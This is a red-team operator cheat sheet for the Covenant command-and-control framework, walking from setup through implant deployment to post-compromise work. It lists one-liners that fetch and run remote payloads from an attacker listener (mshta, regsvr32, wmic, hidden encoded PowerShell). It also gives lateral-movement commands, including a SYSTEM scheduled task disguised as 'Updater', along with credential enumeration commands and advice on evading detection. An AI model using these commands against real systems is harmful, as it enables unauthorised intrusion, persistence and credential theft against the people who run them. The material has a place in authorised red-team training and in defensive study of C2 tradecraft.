Legend:
[SERVER]= Run on Covenant server host |[CLIENT]= Run in Covenant web UI |[GRUNT]= Run through the active Grunt Interact/Task view |[HOST]= Run on attacker host OS
1. What is Covenant
What it means: Covenant is a collaborative .NET command-and-control framework and web application built for red team operations. Its official wiki describes it as a .NET C2 framework and web app focused on offensive .NET tradecraft, collaboration, dynamic compilation, and inline C# execution.
Operator Browser
│
▼
Covenant Web App / API
│
├── Listeners
├── Launchers
├── Grunts
└── Tasks / Data / Graph
│
▼
Compromised Host (Grunt)
Core Terms
| Term | Meaning |
|---|---|
| Listener | Endpoint that Grunts communicate with |
| Launcher | Binary/script/one-liner used to start a Grunt |
| Grunt | Covenant implant |
| Interact tab | Command-line-like interface for tasking a Grunt |
| Task tab | GUI form-based tasking interface |
2. Setting Up Covenant
What it means: Covenant runs as a .NET Core application and can also be run with Docker. The wiki states it is multi-platform and supports Linux, macOS, and Windows.
2.1 Clone and Run
git clone --recurse-submodules https://github.com/cobbr/Covenant
cd Covenant/Covenant
dotnet run
2.2 Docker Option
docker build -t covenant .
docker run -it -p 7443:7443 covenant
2.3 First-Run Workflow
1. Start Covenant
2. Open web UI
3. Create/start listener
4. Generate launcher
5. Execute launcher
6. Interact with returned Grunt
That workflow aligns with the official wiki structure for listeners, launchers, and Grunt interaction.
3. Listeners
What it means: You create a listener first, then generate a launcher against it. The launcher wiki explicitly says that once a listener has been started, the next step is to generate a launcher.
3.1 Listener Workflow
[CLIENT]
Listeners → Create / Start Listener
Launchers → Select Listener
Generate launcher
3.2 Important Listener-Related Options
From the launcher page, the Grunt comms behavior depends on:
ListenerDelayJitterPercentConnectAttemptsKillDateValidateCert(HTTP only)UseCertPinning(HTTP only)SMBPipeName(SMB only)
3.3 Practical Setup Values
Listener: HTTPS_443
Delay: 5
JitterPercent: 20
ConnectAttempts: 10
KillDate: 2026-12-31
ValidateCert: false
UseCertPinning: false
4. Launchers
What it means: Launchers generate the actual payloads and one-liners you execute on target systems. The official docs list Binary, ShellCode, PowerShell, MSBuild, InstallUtil, Mshta, Regsvr32, Wmic, Cscript, and Wscript launchers.
4.1 Supported Launcher Types
Binary
ShellCode
PowerShell
MSBuild
InstallUtil
Mshta
Regsvr32
Wmic
Cscript
Wscript
4.2 Launcher Generation Workflow
[CLIENT]
Launchers → choose launcher type
Set Listener
Set ImplantTemplate
Set DotNetVersion
Set Delay / JitterPercent / ConnectAttempts / KillDate
Generate
Download or Host
4.3 Host a Launcher
[CLIENT]
Launchers → Generated Launcher → Host tab
Set URL
Click Host
The docs state you must generate the launcher before downloading or hosting it.
4.4 View Launcher Code
[CLIENT]
Launchers → Generated Launcher → Code tab
Copy GruntStager source
The official docs say this lets you create custom Grunts without relying only on built-in launchers.
5. Grunts & Interaction
What it means: Most operator time in Covenant is spent inside Grunt interaction views. The official Grunt Interaction page says Grunts can be managed through a tabbed terminal or a detailed full-screen page, with Info, Interact, Task, and Taskings tabs.
5.1 Grunt Interaction Areas
| Tab | Purpose |
|---|---|
| Info | View and edit metadata like Name, Note, Delay, JitterPercent, ConnectAttempts, KillDate |
| Interact | Command-line-like tasking interface |
| Task | GUI form-based task assignment |
| Taskings | Searchable history of task executions |
5.2 Important Note
Changing Delay, JitterPercent, or KillDate in the Info tab causes Covenant to assign a task to the Grunt automatically.
6. Common Commands
What it means: Covenant’s exact command set depends on the task library available to the Grunt, but the official docs confirm that the Interact tab is a command-line-like interface with tab-completion and real-time updates. The examples below are the kinds of commands/operators typically run through the Grunt interaction model or through launcher-generated one-liners.
6.1 Typical Grunt Interact Commands
[GRUNT Interact]
whoami
hostname
ipconfig /all
systeminfo
net user
net localgroup administrators
tasklist
dir C:\
These are executed through the Grunt’s command/task interface, not through a separate local CLI binary.
6.2 Useful Recon Commands
whoami /all
nltest /domain_trusts
net group "Domain Admins" /domain
quser
qwinsta
arp -a
route print
6.3 PowerShell via Grunt
powershell Get-Process
powershell Get-LocalUser
powershell Get-Service
powershell Get-NetIPAddress
6.4 Inline C# One-Liners
The official wiki states Covenant supports inline C# execution on Grunt implants.
[GRUNT]
<inline C# tasking through Interact / Task tab>
Use this when you want .NET-native tasking instead of dropping separate executables.
7. Initial Access — Delivery Commands
What it means: Launchers are where Covenant gives you the real execution commands. The launcher docs map each launcher type to a specific Windows binary or execution path.
7.1 PowerShell Launcher
powershell.exe -nop -w hidden -enc <BASE64_LAUNCHER>
Covenant’s PowerShell launcher is specifically designed to generate PowerShell code or a PowerShell one-liner executed through powershell.exe.
7.2 MSBuild Launcher
msbuild.exe launcher.xml
The official docs state the MSBuild launcher generates an XML file executed with msbuild.exe.
7.3 InstallUtil Launcher
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false launcher.exe
Covenant documents InstallUtil as a launcher family executed via installutil.exe.
7.4 Mshta Launcher
mshta.exe http://<LISTENER_HOST>/launcher.hta
The docs say the Mshta launcher generates an HTA file and/or mshta one-liner using mshta.exe.
7.5 Regsvr32 Launcher
regsvr32.exe /s /n /u /i:http://<LISTENER_HOST>/file.sct scrobj.dll
The launcher docs explicitly define Regsvr32 as generating an SCT file and/or regsvr32.exe one-liner.
7.6 Wmic Launcher
wmic process get brief /format:"http://<LISTENER_HOST>/launcher.xsl"
The official docs say the Wmic launcher generates an XSL file and/or wmic.exe one-liner.
7.7 Cscript / Wscript Launchers
cscript.exe launcher.js
wscript.exe launcher.js
Both are explicitly documented as supported launcher types.
7.8 Binary Launcher
launcher.exe
The Binary launcher creates a custom standalone Grunt launcher and is the only one that does not rely on a system binary.
7.9 Shellcode Launcher
Generate ShellCode launcher
→ inject with your preferred loader
The docs say Covenant converts a Grunt binary to shellcode using Donut.
8. Privilege Escalation
What it means: Covenant privesc is task-driven, and the framework’s dynamic compilation plus inline C# support make it well suited for .NET-based privilege escalation tradecraft. The wiki says relevant code is recompiled and obfuscated whenever a new task is assigned.
8.1 Common Privesc Recon Commands
whoami /priv
whoami /groups
net localgroup administrators
sc query
schtasks /query /fo LIST /v
8.2 Post-Privesc Flow
1. Enumerate privileges
2. Run relevant task / inline C#
3. Gain elevated context
4. Modify Grunt timing if needed
5. Continue with credential access or lateral movement
8.3 Timing Commands via Info Tab
[CLIENT → Grunt → Info]
Delay = 30
JitterPercent = 40
ConnectAttempts = 20
KillDate = 2026-12-31
Edits to delay/jitter/kill date trigger tasks to the Grunt.
9. Credential Access
What it means: Covenant uses task-based and inline-.NET workflows for credential operations rather than a single monolithic subsystem. The task contribution guide explains that tasks are C# source files with an Execute() method and are registered in Covenant’s task database.
9.1 Typical Credential Collection Commands
cmdkey /list
vaultcmd /list
klist
net use
9.2 Task-Based Credential Workflow
[CLIENT]
Grunt → Task tab
Choose credential-oriented task
Fill parameters
Execute
9.3 Why This Matters
The official task guide explains that Covenant tasks live under Covenant/Covenant/Data/Tasks, are implemented as C# .task files, and are executed on Grunts when assigned.
10. Lateral Movement & Pivoting
What it means: Covenant supports different communication models through implant templates, including SMB named-pipe comms. The launcher docs explicitly document SMB comms via SMBPipeName, which is useful for internal movement design.
10.1 Remote Execution Examples
psexec.exe \\TARGET cmd.exe
wmic /node:TARGET process call create "powershell.exe -enc <B64>"
schtasks /create /s TARGET /ru SYSTEM /sc once /tn Updater /tr "C:\Temp\launcher.exe" /st 12:00
schtasks /run /s TARGET /tn Updater
10.2 SMB Implant Option
[CLIENT → Launcher]
ImplantTemplate = SMB
SMBPipeName = covenant_pipe
The docs say SMBPipeName appears only when the selected implant template uses SMB communication.
10.3 Multi-Grunt Workflow
Initial Grunt
│
├── generate another launcher
├── execute on remote host
└── manage new Grunt in Grunts view
11. Task Building
What it means: Covenant lets operators and developers build custom tasks in C#. The official task contribution guide explains that a task is a .task file implementing a Task class with an Execute() method that returns a string.
11.1 Task Source Location
Covenant/Covenant/Data/Tasks
Covenant/Covenant/Data/Tasks/src
11.2 Minimal Task Model
public class Task
{
public static string Execute(string arg1)
{
return arg1;
}
}
The guide says the method must be named Execute(), return a string, and task parameters should be defined as strings.
11.3 Register New Task
Edit:
Covenant/Covenant/Data/DbInitializer.cs
The docs say new tasks must be added to the GruntTasks list in InitializeTasks().
11.4 Custom Task Workflow
1. Create .task file
2. Add task metadata/options to DbInitializer.cs
3. Start Covenant
4. Assign task to active Grunt
12. Detection & OPSEC
What it means: Covenant has several built-in OPSEC-relevant features, including listener profiles, encrypted key exchange with forward secrecy, dynamic compilation, and optional certificate validation/pinning controls. The launcher docs also warn that DotNetToJScript-based launcher families may fail on newer Windows builds or be signatured by AMSI providers.
12.1 OPSEC Features
| Feature | Value |
|---|---|
| Listener Profiles | Shape traffic appearance |
| Encrypted Key Exchange | Forward secrecy between Grunts and listeners |
| Dynamic Compilation | Reduces static payload reuse |
| ConfuserEx Obfuscation | Obfuscates tasks and generated Grunts |
| Cert Validation / Pinning Options | Allows tradeoff between security and proxy tolerance |
12.2 Risky Launcher Families
Mshta
Regsvr32
Wmic
Cscript
Wscript
These rely on DotNetToJScript, and the docs warn they may be blocked or signatured on newer systems.
12.3 Practical OPSEC Guidance
- Increase Delay for quieter beaconing.
- Add JitterPercent to avoid regular timing.
- Use KillDate for built-in expiration.
- Be deliberate with ValidateCert and UseCertPinning.
- Prefer launcher families appropriate to the target’s controls.
All of these settings are documented launcher options.
13. Master Cheat Sheet
Install
git clone --recurse-submodules https://github.com/cobbr/Covenant
cd Covenant/Covenant
dotnet run
Core UI Flow
Listeners → Create/Start
Launchers → Generate
Launchers → Download or Host
Grunts → Interact / Task / Taskings
Common Delivery Commands
launcher.exe
msbuild.exe launcher.xml
mshta.exe http://<HOST>/launcher.hta
regsvr32.exe /s /n /u /i:http://<HOST>/launcher.sct scrobj.dll
wmic process get brief /format:"http://<HOST>/launcher.xsl"
cscript.exe launcher.js
wscript.exe launcher.js
powershell.exe -nop -w hidden -enc <BASE64>
Common Recon Commands
whoami
whoami /all
hostname
ipconfig /all
systeminfo
tasklist
net user
net localgroup administrators
route print
arp -a
klist
quser
qwinsta
Grunt Management Values
Delay
JitterPercent
ConnectAttempts
KillDate
Name
Note
These are editable from the Info tab.
Decision Tree
Need a Covenant session?
│
├── Start Covenant
├── Create listener
├── Generate launcher
│
├── Need LOLBin execution?
│ ├── PowerShell
│ ├── MSBuild
│ ├── InstallUtil
│ ├── Mshta
│ ├── Regsvr32
│ ├── Wmic
│ ├── Cscript
│ └── Wscript
│
├── Need simple execution?
│ └── Binary launcher
│
├── Got Grunt?
│ ├── Interact tab for command-style tasking
│ ├── Task tab for GUI tasking
│ └── Taskings tab for history
│
└── Need custom capability?
└── Build a new .task file and register it